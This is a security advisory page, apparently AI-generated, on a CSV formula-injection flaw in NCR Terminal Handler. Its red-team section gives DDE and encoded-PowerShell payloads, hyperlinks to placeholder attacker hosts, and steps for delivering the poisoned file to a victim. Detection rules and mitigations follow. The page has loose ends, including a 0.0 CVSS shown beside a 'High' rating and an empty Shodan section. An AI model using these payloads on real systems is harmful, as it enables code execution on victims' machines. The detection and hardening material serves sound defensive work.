CVE-2023-47295
Executive Summary
CVE-2023-47295 identifies a CSV injection vulnerability in NCR Terminal Handler v1.5.1. This flaw allows an attacker to inject malicious formulas into CSV export files by embedding crafted payloads into any text field that accepts strings. When the CSV is opened in spreadsheet software (e.g., Microsoft Excel, LibreOffice Calc), the injected formula executes, potentially leading to arbitrary command execution on the victim's machine. The vulnerability is unpatched, and no official fix has been released by NCR. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary NCR software component used in point-of-sale and terminal management systems.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official CVSS vector provided)
- Attack Vector: Network (likely)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must open CSV file)
- Scope: Changed
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
- Threat Level: High (due to potential for remote code execution via social engineering)
Deep Dive & Mechanics
The vulnerability resides in the CSV export functionality of NCR Terminal Handler v1.5.1. The application fails to sanitize user-supplied input before writing it to CSV files. When a user exports data (e.g., transaction logs, terminal configurations), any text field containing a crafted payload starting with =, +, -, or @ is interpreted as a formula by spreadsheet software.
Attack Flow:
- Attacker identifies a text input field in the NCR Terminal Handler interface (e.g., terminal name, location, notes).
- Attacker injects a payload such as
=CMD|' /C calc'!A0or=HYPERLINK("http://malicious.com"). - The payload is stored in the database and later exported to a CSV file.
- Victim downloads and opens the CSV in Excel or LibreOffice.
- The formula executes, triggering arbitrary commands (e.g., launching calculator, downloading malware).
Key Weakness: Lack of input validation and output encoding for CSV export. The application does not prepend a single quote or space to fields starting with special characters, which is the standard mitigation for CSV injection.
Vulnerable vs. Patched Code
Vulnerable Code (NCR Terminal Handler v1.5.1):
# Example of vulnerable CSV generation
def export_to_csv(data):
with open('export.csv', 'w') as f:
writer = csv.writer(f)
for row in data:
writer.writerow(row) # No sanitization
Patched Code (Hypothetical fix):
def sanitize_csv_field(value):
if value and value[0] in ('=', '+', '-', '@'):
value = "'" + value # Prepend single quote to neutralize formula
return value
def export_to_csv(data):
with open('export.csv', 'w') as f:
writer = csv.writer(f)
for row in data:
sanitized_row = [sanitize_csv_field(field) for field in row]
writer.writerow(sanitized_row)
Note: No official patch exists. The above is a recommended mitigation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to NCR Terminal Handler v1.5.1 web interface.
- Ability to input data into any text field (e.g., terminal name, description).
Exploit Steps:
- Log in to the NCR Terminal Handler.
- Navigate to a section where you can add or edit a terminal (e.g., "Add Terminal").
- In the "Terminal Name" field, enter the following payload:
=CMD|' /C powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <base64_encoded_payload>'!A0 - Save the terminal entry.
- Trigger the CSV export (e.g., "Export Terminals" button).
- Send the exported CSV file to the victim via email or file share.
- When the victim opens the CSV in Excel, the command executes.
Alternative Payload (for Excel):
=HYPERLINK("http://attacker.com/payload.exe","Click here")
Lab Setup:
- Install NCR Terminal Handler v1.5.1 on a Windows Server 2019 VM.
- Use a Windows 10 VM as the victim with Excel installed.
- Monitor network traffic with Wireshark.
Blue Team (Detection & Defense)
Detection:
- Monitor for CSV files containing formulas (e.g., fields starting with
=,+,-,@). - Use email security gateways to scan attachments for CSV injection patterns.
- Enable Excel Protected View and disable automatic DDE execution.
Defense:
- Implement input validation on all text fields (reject or sanitize special characters).
- Use a CSV library that automatically escapes formulas (e.g., Python's
csvwithquoting=csv.QUOTE_ALL). - Educate users to open CSV files in Notepad first, or use Excel's "Open and Repair" feature.
Indicators of Compromise (IOCs)
- File Hashes (CSV files): SHA256 of malicious CSV containing formula injection.
- Network Indicators: Outbound connections to attacker-controlled domains (e.g., from
=HYPERLINKpayloads). - Process Creation:
cmd.exeorpowershell.exespawned by Excel (e.g.,EXCEL.EXE->cmd.exe /c calc). - Registry Changes: Modifications to Excel security settings (e.g., disabling Protected View).
- YARA Rule (see Detection Engineering): Detects CSV files with formula injection patterns.
Detection Engineering
YARA Rule
rule CVE_2023_47295_CSV_Injection {
meta:
description = "Detects CSV files with potential formula injection (CVE-2023-47295)"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-47295"
strings:
$formula1 = /^[=+\-@]/ // Fields starting with =, +, -, @
$formula2 = "=CMD|" // Specific DDE command
$formula3 = "=HYPERLINK("
$formula4 = "=EXEC("
$formula5 = "=DDE("
condition:
any of ($formula*) and filesize < 10MB
}
Sigma Rule
title: CSV Injection via NCR Terminal Handler
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSV files containing formula injection patterns (CVE-2023-47295)
author: Valters IT
date: 2025-04-10
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '.csv'
# Look for fields starting with =, +, -, @
# This requires parsing the CSV content; use a field-level rule
condition: selection
falsepositives:
- Legitimate CSV files with formulas (e.g., financial reports)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-47295 CSV Injection Payload in HTTP Request"; flow:to_server,established; content:"=CMD|"; nocase; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Sanitize all text fields to reject or escape characters
=,+,-,@at the start of strings. - CSV Export Hardening: Modify the export function to prepend a single quote (
') to any field starting with a special character. - User Education: Train users to open CSV files in a text editor first, or use Excel's "Open and Repair" with "Convert" option.
- Endpoint Protection: Deploy YARA rules to detect malicious CSV files.
Long-Term Fix:
- Contact NCR for an official patch. If unavailable, implement a WAF rule to block formula injection payloads in HTTP requests.
- Consider migrating to a different terminal management solution if NCR does not provide a fix.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.